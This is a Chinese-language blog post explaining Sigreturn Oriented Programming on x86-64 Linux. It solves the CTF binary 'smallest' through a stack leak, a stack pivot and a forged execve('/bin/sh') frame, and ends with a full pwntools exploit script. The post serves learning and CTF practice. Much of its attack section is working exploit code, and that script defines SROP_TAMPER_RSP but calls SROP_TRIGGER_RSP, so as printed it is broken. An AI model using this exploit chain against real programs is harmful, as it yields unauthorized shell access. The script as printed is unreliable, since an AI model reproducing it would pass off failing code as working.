关闭
Hit
enter
to search or
ESC
to close
May I Suggest ?
#leanote #leanote blog #code #hello world
Mutepig's Blog
Home
Archives
Tags
Search
About Me
SROP
无
768
0
0
mut3p1g
`SROP`全称为`Sigreturn Oriented Programming`,表明利用`sigreturn`这个函数实现`ROP`的技术。(之前听说的时候一直以为是`system rop`XD) 没有办法控制寄存器 <!--more--> 参考链接: http://4ngelboy.blogspot.tw/2015/07/srop.html http://www.freebuf.com/articles/network/87447.html http://bobao.360.cn/learning/detail/3675.html http://www.cnblogs.com/chihie/p/7420016.html 其中`syscall`调用号可以对照`/usr/include/x86_64-linux-gnu/asm/unistd_64.h`。 ## 0x01 Linux Signal机制 首先还是看一下这张图(小小的盗用一下XD) ![](https://leanote.com/api/file/getImage?fileId=59edb828ab64417305001d51) 这张图描绘了信号机制的四个步骤: 1) 当进程发出一个信号时,会由内核接收该信号并切换到内核模式并为进程保存上下文(将寄存器等中的数据存到栈上) ``` +==============+ stack sigcontext (sigcontext就是保存的上下文,具体结构我们可以直接用pwntools的SigreturnFrame()来实现) +==============+ ``` 2) 通过信号`signal`的值,在用户层调用对应的`signal handler`进行处理 ``` +==============+ stack sigcontext +==============+ sigreturn_addr (当signal handler执行完后会执行sigreturn) +==============+ ``` 3) 处理完信号后,回到内核层调用`sigreturn`恢复进程的上下文 4) 返回用户层,进程回到之前保存的`IP`继续运行 ## 0x02 SROP ### 1. 利用步骤 通过上面对信号实现流程的分析,可以发现在第三步调用`sigreturn`之后,可以实现寄存器值都从栈上取出,并且可以跳转到我们设置的地址中,所以直接伪造好一个`sigcontext`就可以了,关键值如下: ``` rax: 59 (execve的syscall调用号) rdi: /bin/sh的字符串地址 rip: syscall地址 ``` 最后将`ret`的地址设置为`sigreturn`的地址就可以了。 ### 2. 利用条件 只要我们能得到上述步骤中的值就可以了,具体如下: ``` 1. /bin/sh字符串地址 2. syscall地址 3. sigreturn地址 ``` 这里`sigreturn`可以通过`syscall`来调用它,它的系统调用号为15,所以我们可以通过设置`rax=15`后再将`ret`地址设置为`syscall`就可以了。 ## 0x03 demo 这里用360春秋杯的一道`smallest`作为样例分析一下。 首先代码很短,就这么点儿: ``` 0x4000b0 xor rax, rax 0x4000b3 mov edx, 0x400 0x4000b8 mov rsi, rsp 0x4000bb mov rdi, rax 0x4000be syscall 0x4000c0 ret ``` 那么现在我们已经满足了两个条件: ``` 存在syscall gadget 可以控制rax之后调用syscall ``` 那么唯一的问题就是`/bin/sh`的字符串地址了,所以首先得解决这个问题。 ### 1. leak 由于程序很小,能写的地方只有栈了,所以只能泄露栈地址了。 思路为: ``` 1. 写入3个0x4000b0,第一个用来从头开始,第二个用来leak 2. 写入\xb3,从而将我们写入的第二个0x4000b0篡改为了0x4000b3。同时由于我们只输入了一个字符,所以通过read返回的rax为1,而这正好是write的系统调用号 3. 调用write(1, rsp, 0x400),将栈中的数据打印出来 4. 第三个0x4000b0用来再次从头开始 ``` 通过调试可以发现,打印出来的数据从第二个开始就是栈上的地址了。 ### 2. 栈转移 由于我们泄露的地址只是栈上的,却不是当前栈的地址,所以首先我们需要将栈转移到我们泄露出来的地址上面去。 思路为: ``` 1. 构造一个用来read的sigcontext,并且设置rsp和写入的地址rsi都是我们泄露的地址(必须用read的原因是栈被转移了,所以我们需要输入一个地址用来返回) 2. 返回0x4000b0,构造rax=15调用syscall 3. 由于第一步的构造,再输入一个地址,就是即将返回的地址 ``` ### 3. execve 剩下的和上一步差不多,只是执行的是`execve` ``` 1. 构造一个execve的sigcontext,设置rdi为binsh的地址,并将binsh紧跟在sigcontext最后 2. 通过上一步最后一步输入地址0x4000b0,构造rax=15调用syscall ``` ### 4. EXP ``` from pwn import * p = process('./smallest') #gdb.attach(proc.pidof(p)[0],"b *0x4000c0") main_addr = 0x4000b0 syscall_addr = 0x4000be def SROP_TAMPER_RSP(aim_addr,length): f = SigreturnFrame() f.rax = 0 f.rdi = 0 f.rsi = aim_addr f.rdx = length f.rsp = aim_addr f.rip = syscall_addr return str(f) def SROP_EXECVE(binsh_addr): f = SigreturnFrame() f.rax = 59 f.rdi = binsh_addr f.rip = syscall_addr return str(f) binsh='/bin/sh\x00' if __name__ == "__main__": # leak payload = p64(main_addr)*3 p.send(payload) raw_input("main * 3") payload = '\xb3' p.send(payload) p.recv(8) stack_addr = u64(p.recv(8)) log.success("stack_addr: %s"%(hex(stack_addr))) # tamper rsp raw_input("trigger rsp") payload = p64(main_addr) + p64(syscall_addr) + SROP_TRIGGER_RSP(stack_addr,0x400) p.send(payload) raw_input("go read") payload = p64(syscall_addr) + 'a'*7 p.send(payload) # execve binsh_addr = stack_addr + 2*8 + len(str(SigreturnFrame())) raw_input("start execve") payload = p64(main_addr) + p64(syscall_addr) + SROP_EXECVE(binsh_addr) + binsh p.send(payload) raw_input("go execve") payload = p64(syscall_addr) + 'a'*7 p.send(payload) p.interactive() ```
觉得不错,点个赞?
提交评论
Sign in
to leave a comment.
No Leanote account ?
Sign up now
.
0
条评论
More...
文章目录
No Leanote account ? Sign up now.